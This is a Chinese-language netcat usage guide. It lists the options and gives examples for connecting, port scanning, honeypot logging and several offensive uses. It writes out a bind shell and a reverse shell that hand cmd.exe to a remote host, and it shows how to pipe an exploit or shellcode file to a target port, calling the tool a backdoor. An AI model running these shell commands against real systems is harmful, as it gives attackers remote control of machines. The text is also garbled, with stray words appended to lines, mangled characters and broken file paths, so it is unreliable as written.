netcat被譽爲網絡安全界的‘瑞士軍刀’,一個簡單而有用的工具,透過使用TCP或UDP協議的網絡鏈接去讀寫數據。它被設計成一個穩定的後門工具,可以直接由其它程序和腳本輕鬆驅動。同時,它也是一個功能強大的網絡調試和探測工具,可以創建你須要的幾乎全部類型的網絡鏈接,還有幾個頗有意思的內置功能(詳情請看下面的使用方法)。 shell
在中國,它的WINDOWS版有兩個版本,一個是原創者Chris Wysopal寫的原版本,另外一個是由‘紅與黑’編譯後的新‘濃縮’版。‘濃縮’版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第四、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然「體積」小,但很完成不少工做。
[v1.10-41]
使用格式: nc [-參數] 主機名 端口[s] [端口] …
偵聽入站: nc -l -p 端口[-參數] [主機名] [端口]
安全
參數選項:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b 是否容許廣播
-g gateway 源路由跳點[s], up to 8
-G num 源路由指針: 4, 8, 12, …
-h this cruft
-i secs 線路延時間隔, 端口掃描
-k set keepalive option on socket
-l 監聽模式, 入站連接
-n 只使用 IP 地址不經過 DNS解析
-o file 使用十六進制
-p port 本地端口號
-r 跟隨本地和端口
-q secs quit after EOF on stdin and delay of secs
-s addr 本地源地址
-T tos set Type Of Service
-t 使用telnet鏈接
-u UDP 模式
-v verbose [use twice to be more verbose]
-w secs 鏈接目標網絡超時時間
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]網絡
端口號能夠是一個或者是一段: lo-hi [inclusive];
在端口名稱處必須使用反斜槓 (e.g. ‘ftp\-data’).socket
基本用法:
大概有如下幾種用法:
1)鏈接到REMOTE主機,例子:
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口工具
2)監聽LOCAL主機,例子:
格式:nc -l -p 80
講解:監聽本機的TCP80端口ui
3)掃描遠程主機,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的全部端口this
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口spa
5)REMOTE主機綁定SHELL並反向鏈接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向鏈接到192.168.x.x的TCP5354端口
以上爲最基本的幾種用法(其實NC的用法還有不少,
當配合管道命令「|」與重定向命令「<」、「>」等等命令功能更強大......)。設計
高級用法:
6)做攻擊程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
講解:鏈接到192.168.x.x的80端口,並在其管道中發送c:exploit.txt的內容(兩種格式確有相同的效果,真是有殊途同歸之妙:P)
附:c:exploit.txt爲shellcode等指針
7)做蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用-L(注意L是大寫)能夠不停地監聽某一個端口,直到ctrl+c爲止.
8)做蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
講解:使用-L能夠不停地監聽某一個端口,直到ctrl+c爲止,同時把結果輸出到c:log.txt中,若是把‘>’改成‘>>’便可以追加日誌。
附:c:log.txt爲日誌等
9)做蜜罐用[3],例子:格式1:nc -L -p 80 < c:honeypot.txt格式2:type.exe c:honeypot.txt|nc -L -p 80講解:使用-L能夠不停地監聽某一個端口,直到ctrl+c爲止,並把c:honeypot.txt的內容‘送’入其管道中。